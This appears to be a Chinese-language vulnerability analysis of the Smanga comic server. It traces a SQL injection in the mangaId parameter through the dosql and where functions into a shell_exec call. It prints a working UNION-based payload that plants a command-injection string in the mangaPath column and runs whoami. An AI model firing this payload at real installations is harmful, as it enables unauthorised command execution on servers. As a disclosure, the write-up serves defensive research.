免责声明
本文档所述漏洞详情及复现方法仅限用于合法授权的安全研究和学术教育用途。任何个人或组织不得利用本文内容从事未经许可的渗透测试、网络攻击或其他违法行为。使用者应确保其行为符合相关法律法规,并取得目标系统的明确授权。
对于因不当使用本文信息而造成的任何直接或间接后果,作者概不负责。若您发现本文内容涉及侵权或不当信息,请及时联系我们,我们将立即核实并采取必要措施。
源代码如下
源代码如下
获取参数mangaId,跟进dosql方法
function dosql($params)
{global $gIp;global $gUserName;global $gPassWord;global $gDatabase;#输出所有错误信息error_reporting(E_ALL);ini_set('display_errors', '1');#将出错信息输出到一个文本文件ini_set('error_log', dirname(__FILE__) . '/mysql_error.txt');#设置默认值$ip = @getValue($params['ip'], $gIp);$username = @getValue($params['username'], $gUserName);$password = @getValue($params['password'], $gPassWord);$database = @getValue($params['database'], 'smanga');$port = @getValue($params['port'], $gPort);$type = @getValue($params['type'], 'select');$name = @getValue($params['name'], '*');$where = @getValue($params['where'], array());$group = @getValue($params['group'], '');$field = @getValue($params['field'], array());$value = @getValue($params['value'], array());$limit = @getValue($params['limit'], '');$start = @getValue($params['start'], '');$order = @getValue($params['order'], '');$desc = @getValue($params['desc'], '');$keyword = @getValue($params['keyword'], '');$test = @getValue($params['test'], false);$charset = @getValue($params['charset'], 'utf8');#链接mysqlif (isset($params['link'])) {$link = $params['link'];} else {$link = @mysqli_connect($ip, $username, $password, $database, $port)or die("数据库连接失败!失败信息:" . mysqli_connect_error($link));}#设置数据库// @mysqli_select_db($link,$database,);#设置数据编码mysqli_set_charset($link, 'utf8mb4') or die("数据库编码集设置失败!");#获取数据表名。如获取失败,则返回错误if (isset($params['table'])) {$table = $params['table'];} else {echo "表名(table)不能为空!";exit;}$where = to_array($where);$field = to_array($field);$value = to_array($value);$name = to_string($name);$table = to_string($table);#判别操作类型switch ($type) {case 'insert':$request = insert($link, $table, $field, $value, $test);break;case 'delete':$request = delete($link, $table, $where, $test);break;case 'select':$request = select($link, $name, $table, $where, $group, $order, $desc, $limit, $start, $test);break;case 'update':$request = update($link, $table, $where, $field, $value, $test);break;case 'search':$request = search($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;case 'getcount':$request = getcount($link, $table, $where, $group, $test);break;case 'getnum':$request = getnum($link, $name, $table, $where, $group, $test);break;case 'searchcount':$request = search_count($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;default:# code...break;}#返回数据return $request;#关闭数据库连接mysqli_close($link);#结束执行exit;
}
大致意识给各种SQL执行相关的变量赋值
比如这里的type没有赋值的情况下,默认就是select,name没有赋值的情况下就是*,我们看看select分支
看一下where参数的控制,跟进select方法
where变量被传入了where方法,更近where方法,就是将where数组中的变量取出,用and进行拼接,由于传入的参数mangaId用户可控,所以这里存在SQL注入
来看看这里RCE成因
首先来看看我们构造的参数mangaId使用union注入如下恶意SQL时,会返回一条数据
所以联合注入如上SQL,会按照联合注入的原理会返回一条数据
完整的SQL如下
select * from manga where mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo `whoami` > 1.txt;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;
接着我们继续看入口的代码
执行完dosql之后,返回数据保存在$mangaPathRes变量中,首先判断$mangaPathRes变量中是否保存有数据,没有数据直接返回,随后判断可控变量deleteFile是否为ture,为ture进入if逻辑,首先从$mangaPathRes中获取返回数据mangaPath,随后直接传入shell_exec方法
接着我们分析数据表,从数据库构建表的过程中可以看到表manga存在12列,其中低5列名为mangaPath
由于前边的SQL注入,返回的第五列数据如下
所以这个时候传入shell_exec的参数就是";echo `whoami` > 1.txt;"
完整的执行语句
rm -rf "";echo `whoami` > 1.txt;"",导致命令执行
测试如下